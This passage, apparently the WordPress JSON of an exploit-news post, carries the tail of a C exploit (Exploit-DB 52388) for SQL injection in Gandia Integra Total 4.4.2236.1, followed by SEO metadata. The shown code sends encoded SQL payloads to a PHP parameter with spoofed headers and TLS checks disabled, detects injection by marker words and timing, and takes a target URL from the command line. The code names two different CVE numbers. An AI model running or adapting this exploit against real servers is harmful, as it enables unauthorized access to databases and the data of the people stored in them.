snprintf(full, sizeof(full),<br \/>\n<br \/>         &#8220;%s\/encuestas\/integraweb_v4\/integra\/html\/view\/hislistadoacciones.php?idestudio=%s&#8221;,<br \/>\n<br \/>            url,encodePayload);<br \/>\n<br \/>            if (lenF < 0 || (size_t)lenF >= sizeof(full))<br \/>\n<br \/>            {<br \/>\n<br \/>                printf(&#8220;\\e[1;31m[-] FULL URL is LONG ! \\n&#8221;);<br \/>\n<br \/>                clean(response.buffer,<br \/>\n<br \/>                    response.len,<br \/>\n<br \/>                     curl,<br \/>\n<br \/>                    encodePayload);<br \/>\n<br \/>                exitAssembly();<br \/>\n<br \/>            }<br \/>\n<br \/>            printf(&#8220;\\e[1;37m[+] Encode Payload : %s\\e[0m\\n&#8221;, encodePayload);<br \/>\n<br \/>            printf(&#8220;\\e[1;37m[+] Base URL : %s\\e[0m\\n&#8221;, url);<br \/>\n<br \/>            printf(&#8220;\\e[1;37m[+] Full URL : %s\\e[0m\\n&#8221;, full);<\/p>\n<p>            char ip[256];<br \/>\n<br \/>            if (sscanf(full, &#8220;http:\/\/%255[^\/]\/encuestas\/&#8221;, ip) == 1)<br \/>\n<br \/>            {<br \/>\n<br \/>                printf(&#8220;\\e[1;37m[+] target Ip \/ Domain  : %s\\e[0m\\n&#8221;, (char *)ip);<br \/>\n<br \/>                y = 1;<br \/>\n<br \/>            }<\/p>\n<p>            else<br \/>\n<br \/>            {<br \/>\n<br \/>                printf(&#8220;\\e[1;31m[-] Error Get Target Ip In FULL URL !\\e[0m\\n&#8221;);<br \/>\n<br \/>                y = 0;<br \/>\n<br \/>            }<br \/>\n<br \/>            curl_easy_setopt(curl,<br \/>\n<br \/>                CURLOPT_URL,<br \/>\n<br \/>                full);<br \/>\n<br \/>            if (useC)<br \/>\n<br \/>            {<br \/>\n<br \/>            curl_easy_setopt(curl,<br \/>\n<br \/>                            CURLOPT_COOKIEFILE,<br \/>\n<br \/>                            cookies);<br \/>\n<br \/>            curl_easy_setopt(curl,<br \/>\n<br \/>                        CURLOPT_COOKIEJAR,<br \/>\n<br \/>                        cookies);<\/p>\n<p>            }<br \/>\n<br \/>            curl_easy_setopt(curl,<br \/>\n<br \/>                        CURLOPT_FOLLOWLOCATION,<br \/>\n<br \/>                        1L);<br \/>\n<br \/>            curl_easy_setopt(curl,<br \/>\n<br \/>                        CURLOPT_WRITEFUNCTION,<br \/>\n<br \/>                        write_cb);<br \/>\n<br \/>            if (verbose)<br \/>\n<br \/>            {<br \/>\n<br \/>                printf(&#8220;\\e[1;35m&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;[Verbose Curl]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\e[0m\\n&#8221;);<br \/>\n<br \/>                curl_easy_setopt(curl,<br \/>\n<br \/>                            CURLOPT_VERBOSE,<br \/>\n<br \/>                            1L);<br \/>\n<br \/>            }<br \/>\n<br \/>            curl_easy_setopt(curl,<br \/>\n<br \/>                            CURLOPT_WRITEDATA,<br \/>\n<br \/>                            &#038;response);<br \/>\n<br \/>            curl_easy_setopt(curl,<br \/>\n<br \/>                             CURLOPT_CONNECTTIMEOUT,<br \/>\n<br \/>                             5L);<br \/>\n<br \/>            sleepSyscall();<br \/>\n<br \/>            curl_easy_setopt(curl,<br \/>\n<br \/>                            CURLOPT_TIMEOUT,<br \/>\n<br \/>                            10L);<br \/>\n<br \/>            curl_easy_setopt(curl,<br \/>\n<br \/>                            CURLOPT_SSL_VERIFYPEER,<br \/>\n<br \/>                            0L);<br \/>\n<br \/>            curl_easy_setopt(curl,<br \/>\n<br \/>                        CURLOPT_SSL_VERIFYHOST,<br \/>\n<br \/>                     0L);<br \/>\n<br \/>            struct curl_slist *headers = NULL;<br \/>\n<br \/>            headers = curl_slist_append(headers,<br \/>\n<br \/>                                     &#8220;Accept-Language: en-US,en&#8221;);<br \/>\n<br \/>            headers = curl_slist_append(headers,<br \/>\n<br \/>                                    &#8220;Connection: keep-alive&#8221;);<br \/>\n<br \/>            char r[130];<br \/>\n<br \/>            int lenR = snprintf(r, sizeof(r), &#8220;Referer: %s&#8221;, url);<br \/>\n<br \/>            if (lenR < 0 || (size_t)lenR >= sizeof(r))<br \/>\n<br \/>            {<br \/>\n<br \/>                printf(&#8220;\\e[1;31m[-] Len Header Referer Is long !\\e[0m\\n&#8221;);<br \/>\n<br \/>                clean(response.buffer,response.len, curl, encodePayload);<br \/>\n<br \/>                exitAssembly();<br \/>\n<br \/>            }<br \/>\n<br \/>            headers = curl_slist_append(headers,<br \/>\n<br \/>                                    r);<br \/>\n<br \/>            headers = curl_slist_append(headers, &#8220;Cache-Control: no-cache&#8221;);<br \/>\n<br \/>            headers = curl_slist_append(headers, &#8220;Content-Type: application\/x_222-form-urlencoded&#8221;);<br \/>\n<br \/>            if (y == 0)<br \/>\n<br \/>            {<br \/>\n<br \/>                char host[230];<br \/>\n<br \/>                int lenHo = snprintf(host , sizeof(host), &#8220;Host: %s&#8221;,ip);<br \/>\n<br \/>                headers = curl_slist_append(headers, host);<br \/>\n<br \/>            } <\/p>\n<p>            headers = curl_slist_append(headers, &#8220;User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/80.0.3987.132 Safari\/537.36&#8221;);<br \/>\n<br \/>            curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);<br \/>\n<br \/>            res = curl_easy_perform(curl);<br \/>\n<br \/>            curl_slist_free_all(headers);<br \/>\n<br \/>            free(response.buffer);<br \/>\n<br \/>            response.buffer = NULL;<br \/>\n<br \/>            response.len    = 0;<br \/>\n<br \/>            time_t start = clock();<\/p>\n<p>            if (res == CURLE_OK)<br \/>\n<br \/>            {<br \/>\n<br \/>                long httpCode  = 0;<br \/>\n<br \/>                curl_easy_getinfo(curl,<br \/>\n<br \/>                                  CURLINFO_RESPONSE_CODE,<br \/>\n<br \/>                                  &#038;httpCode);<br \/>\n<br \/>                printf(&#8220;\\e[1;31m&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\n&#8221;);<br \/>\n<br \/>                printf(&#8220;\\e[1;36m[+] Request sent successfully\\e[0m\\n&#8221;);<br \/>\n<br \/>                if (response.buffer)<br \/>\n<br \/>                {<br \/>\n<br \/>                    printf(&#8220;\\e[1;34m\\n======================================== [RESPONSE] ========================================\\e[0m\\n&#8221;);<br \/>\n<br \/>                    printf(&#8220;%s\\n&#8221;, response.buffer);<br \/>\n<br \/>                    printf(&#8220;\\e[1;34m==============================================================================================\\e[0m\\n&#8221;);<br \/>\n<br \/>                }<br \/>\n<br \/>                else<br \/>\n<br \/>                {<br \/>\n<br \/>                    printf(&#8220;\\e[1;31m[-] Response Is NULL !\\e[0m\\n&#8221;);<br \/>\n<br \/>                }<br \/>\n<br \/>                if (httpCode >= 200 &#038;&#038; httpCode < 300)\n<br \/>                {<br \/>\n<br \/>                    for (int o = 0; word[o] !=  NULL; o++)<br \/>\n<br \/>                    {<br \/>\n<br \/>                        printf(&#8220;\\e[1;36m[+] Positive Http Code (200 < 300) : %ld\\e[0m\\n\",httpCode);\n<br \/>                        if (response.buffer)<br \/>\n<br \/>                        {<br \/>\n<br \/>                            if (strstr(response.buffer, word[o]) != NULL)<br \/>\n<br \/>                            {<br \/>\n<br \/>                                printf(&#8220;\\e[1;34m[+] Word Found In Response : %s\\e[0m\\n&#8221;, word[o]);<br \/>\n<br \/>                                printf(&#8220;\\e[1;34m[+] The vulnerability CVE-2025-41373 exists on the server\\e[0m\\n&#8221;);<br \/>\n<br \/>                                printf(&#8220;\\e[1;35m\\n======================================== [RESPONSE] ========================================\\e[0m\\n&#8221;);<br \/>\n<br \/>                                printf(&#8220;%s\\n&#8221;, response.buffer);<br \/>\n<br \/>                                printf(&#8220;\\e[1;32m[Len] : %zu\\e[0m\\n&#8221;, response.len);<br \/>\n<br \/>                                printf(&#8220;\\e[1;35m==============================================================================================\\e[0m\\n&#8221;);<br \/>\n<br \/>                            }<br \/>\n<br \/>                            else<br \/>\n<br \/>                            {<br \/>\n<br \/>                                if (verbose)<br \/>\n<br \/>                                {<br \/>\n<br \/>                                    printf(&#8220;\\e[1;31m[-] Word Not Found In Response : %s\\e[0m\\n&#8221;, word[o]);<br \/>\n<br \/>                                }<br \/>\n<br \/>                                continue;<br \/>\n<br \/>                            }<br \/>\n<br \/>                        }<br \/>\n<br \/>                    }<br \/>\n<br \/>                    time_t end = clock();<br \/>\n<br \/>                    double totalTime = (double)(end &#8211; start) \/ CLOCKS_PER_SEC;<br \/>\n<br \/>                    if (totalTime  <= 5.5)  \/\/ Payload Sleep 4s + Assembly Sleep (1s) = 4 + 1 + 0.5 (Time (LIBCURL)) = 5.5 \n<br \/>                    {<br \/>\n<br \/>                        printf(&#8220;\\e[1;33m[+] Check Time Base&#8230;.\\e[0m\\n&#8221;);<br \/>\n<br \/>                        printf(&#8220;\\e[1;34m[+] Time Based Injection Detected .\\e[0m\\n&#8221;);<br \/>\n<br \/>                        printf(&#8220;\\e[1;34m[+] Total Time Sleep Server : %f\\e[0m\\n&#8221;, totalTime);<br \/>\n<br \/>                    }<br \/>\n<br \/>                    else<br \/>\n<br \/>                    {<br \/>\n<br \/>                        printf(&#8220;\\e[1;31m \t[-] Time Based Injection Not Detected !\\e[0m\\n&#8221;);<br \/>\n<br \/>                    }<br \/>\n<br \/>                }<br \/>\n<br \/>                else<br \/>\n<br \/>                {<br \/>\n<br \/>                    printf(&#8220;\\e[1;31m[-] HTTP Code Not Range Positive (200 < 300) : %ld\\e[0m\\n\", httpCode);\n\n                }\n<br \/>            }<br \/>\n<br \/>            else<br \/>\n<br \/>            {<br \/>\n<br \/>                printf(&#8220;\\e[1;31m[-] Error Send Request\\e[0m\\n&#8221;);<br \/>\n<br \/>                printf(&#8220;\\e[1;31m[-] Error : %s\\e[0m\\n&#8221;, curl_easy_strerror(res));<br \/>\n<br \/>            }<br \/>\n<br \/>            printf(&#8220;\\e[1;34m[+] Try Next Payload SQL : %s\\e[0m\\n&#8221;, encodePayload);<br \/>\n<br \/>        }<\/p>\n<p>    }<br \/>\n<br \/>    response.buffer = NULL;<br \/>\n<br \/>    response.len = 0;<br \/>\n<br \/>    curl_easy_cleanup(curl);<\/p>\n<p>}<\/p>\n<p>int main(int argc,<br \/>\n<br \/>    const char **argv)<br \/>\n<br \/>{<br \/>\n<br \/>    printf(<br \/>\n<br \/>        &#8220;\\e[1;31m&#8221;<br \/>\n<br \/>        &#8220;\u2584\u2596\u2596\u2596\u2584\u2596  \u2584\u2596\u2584\u2596\u2584\u2596\u2584\u2596  \u2596\u2596\u2597 \u2584\u2596\u2584\u2596\u2584\u2596 \\n&#8221;<br \/>\n<br \/>        &#8220;\u258c \u258c\u258c\u2599\u2596\u2584\u2596\u2584\u258c\u259b\u258c\u2584\u258c\u2599\u2596\u2584\u2596\u2599\u258c\u259c \u2584\u258c \u258c\u2584\u258c \\n&#8221;<br \/>\n<br \/>        &#8220;\u2599\u2596\u259a\u2598\u2599\u2596  \u2599\u2596\u2588\u258c\u2599\u2596\u2584\u258c   \u258c\u259f\u2596\u2584\u258c \u258c\u2584\u258c  \\n&#8221;<br \/>\n<br \/>                    &#8220;\\e[1;37m      \\t\\tByte Reaper\\e[0m\\n&#8221;<br \/>\n<br \/>    );<br \/>\n<br \/>    curl_global_init(CURL_GLOBAL_DEFAULT);<br \/>\n<br \/>    int noColor = 0;<br \/>\n<br \/>    int w = 0;<br \/>\n<br \/>    struct argparse_option options[] =<br \/>\n<br \/>    {<br \/>\n<br \/>    OPT_HELP(),<br \/>\n<br \/>    OPT_STRING(&#8216;u&#8217;,<br \/>\n<br \/>                &#8220;url&#8221;,<br \/>\n<br \/>                &#038;url,<br \/>\n<br \/>                &#8220;Target IP &#8220;),<br \/>\n<br \/>    OPT_STRING(&#8216;c&#8217;,<br \/>\n<br \/>                &#8220;cookies&#8221;,<br \/>\n<br \/>                &#038;cookies,<br \/>\n<br \/>                &#8220;cookies File&#8221;),<br \/>\n<br \/>    OPT_BOOLEAN(&#8216;v&#8217;,<br \/>\n<br \/>                    &#8220;verbose&#8221;,<br \/>\n<br \/>                    &#038;verbose,<br \/>\n<br \/>                    &#8220;Verbose Mode&#8221;),<br \/>\n<br \/>    OPT_BOOLEAN(&#8216;w&#8217;,<br \/>\n<br \/>        &#8220;waf&#8221;,<br \/>\n<br \/>        &#038;w,<br \/>\n<br \/>        &#8220;Scan Waf&#8221;),<br \/>\n<br \/>    OPT_END(),<br \/>\n<br \/>    };<br \/>\n<br \/>    struct argparse argparse;<br \/>\n<br \/>    argparse_init(&#038;argparse,<br \/>\n<br \/>            options,<br \/>\n<br \/>            NULL,<br \/>\n<br \/>            0);<\/p>\n<p>    argparse_parse(&#038;argparse,<br \/>\n<br \/>            argc,<br \/>\n<br \/>            argv);<br \/>\n<br \/>    if (url == NULL)<br \/>\n<br \/>    {<br \/>\n<br \/>    printf(&#8220;[-] Please Enter Target URL !\\n&#8221;);<br \/>\n<br \/>    printf(&#8220;[-] Ex : .\/exploit -u <URL>  \\n&#8221;);<br \/>\n<br \/>    curl_global_cleanup();<br \/>\n<br \/>    exitAssembly();<br \/>\n<br \/>    };<br \/>\n<br \/>    printf(&#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n\\n&#8221;);<br \/>\n<br \/>    printf(&#8220;[+] Start Exploit  (CVE-2025-54589)&#8230;\\n&#8221;);<br \/>\n<br \/>    uid();<br \/>\n<br \/>    if (cookies)<br \/>\n<br \/>    {<br \/>\n<br \/>    useC = 1;<br \/>\n<br \/>    }<br \/>\n<br \/>    if (verbose)<br \/>\n<br \/>    {<br \/>\n<br \/>        verbose = 1;<br \/>\n<br \/>    }<\/p>\n<p>    if (w)<br \/>\n<br \/>    {<br \/>\n<br \/>        wafD(url);<\/p>\n<p>    }<br \/>\n<br \/>    else<br \/>\n<br \/>    {<br \/>\n<br \/>        httpRequest(url);<br \/>\n<br \/>    }<br \/>\n<br \/>    curl_global_cleanup();<br \/>\n<br \/>    return 0;<br \/>\n<br \/>}\n<\/div>\n<p><a href=\"https:\/\/www.exploit-db.com\/exploits\/52388\" target=\"_blank\" style=\"display: inline-block;  color: white; padding: 10px 20px; text-decoration: none; border-radius: 4px;\">View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Exploit Details Basic Information Exploit Title Gandia Integra Total 4.4.2236.1 &#8211; SQL Injection Exploit ID EDB-ID:52388 Type exploitdb Published 2025-08-03T00:00:00 Modified 2025-08-03T00:00:00 CVSS Information CVSS&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,19,12,40,15,13,7,11,5],"class_list":["post-9612","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-87","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Gandia Integra Total 4.4.2236.1 - SQL Injection - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=9612\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Gandia Integra Total 4.4.2236.1 - SQL Injection - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Exploit Details Basic Information Exploit Title Gandia Integra Total 4.4.2236.1 &#8211; SQL Injection Exploit ID EDB-ID:52388 Type exploitdb Published 2025-08-03T00:00:00 Modified 2025-08-03T00:00:00 CVSS Information CVSS...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=9612\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-08-03T01:54:05+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"10 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=9612#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=9612\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Gandia Integra Total 4.4.2236.1 &#8211; SQL Injection\",\"datePublished\":\"2025-08-03T01:54:05+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=9612\"},\"wordCount\":1964,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-8.7\",\"exploit\",\"exploitdb\",\"HIGH\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=9612#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=9612\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=9612\",\"name\":\"Gandia Integra Total 4.4.2236.1 - SQL Injection - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-08-03T01:54:05+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=9612#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=9612\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=9612#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Gandia Integra Total 4.4.2236.1 &#8211; SQL Injection\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Gandia Integra Total 4.4.2236.1 - SQL Injection - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=9612","og_locale":"en_US","og_type":"article","og_title":"Gandia Integra Total 4.4.2236.1 - SQL Injection - zero redgem","og_description":"Exploit Details Basic Information Exploit Title Gandia Integra Total 4.4.2236.1 &#8211; SQL Injection Exploit ID EDB-ID:52388 Type exploitdb Published 2025-08-03T00:00:00 Modified 2025-08-03T00:00:00 CVSS Information CVSS...","og_url":"https:\/\/zero.redgem.net\/?p=9612","og_site_name":"zero redgem","article_published_time":"2025-08-03T01:54:05+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"10 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=9612#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=9612"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Gandia Integra Total 4.4.2236.1 &#8211; SQL Injection","datePublished":"2025-08-03T01:54:05+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=9612"},"wordCount":1964,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-8.7","exploit","exploitdb","HIGH","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=9612#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=9612","url":"https:\/\/zero.redgem.net\/?p=9612","name":"Gandia Integra Total 4.4.2236.1 - SQL Injection - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-08-03T01:54:05+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=9612#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=9612"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=9612#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Gandia Integra Total 4.4.2236.1 &#8211; SQL Injection"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/9612","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=9612"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/9612\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=9612"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=9612"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=9612"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}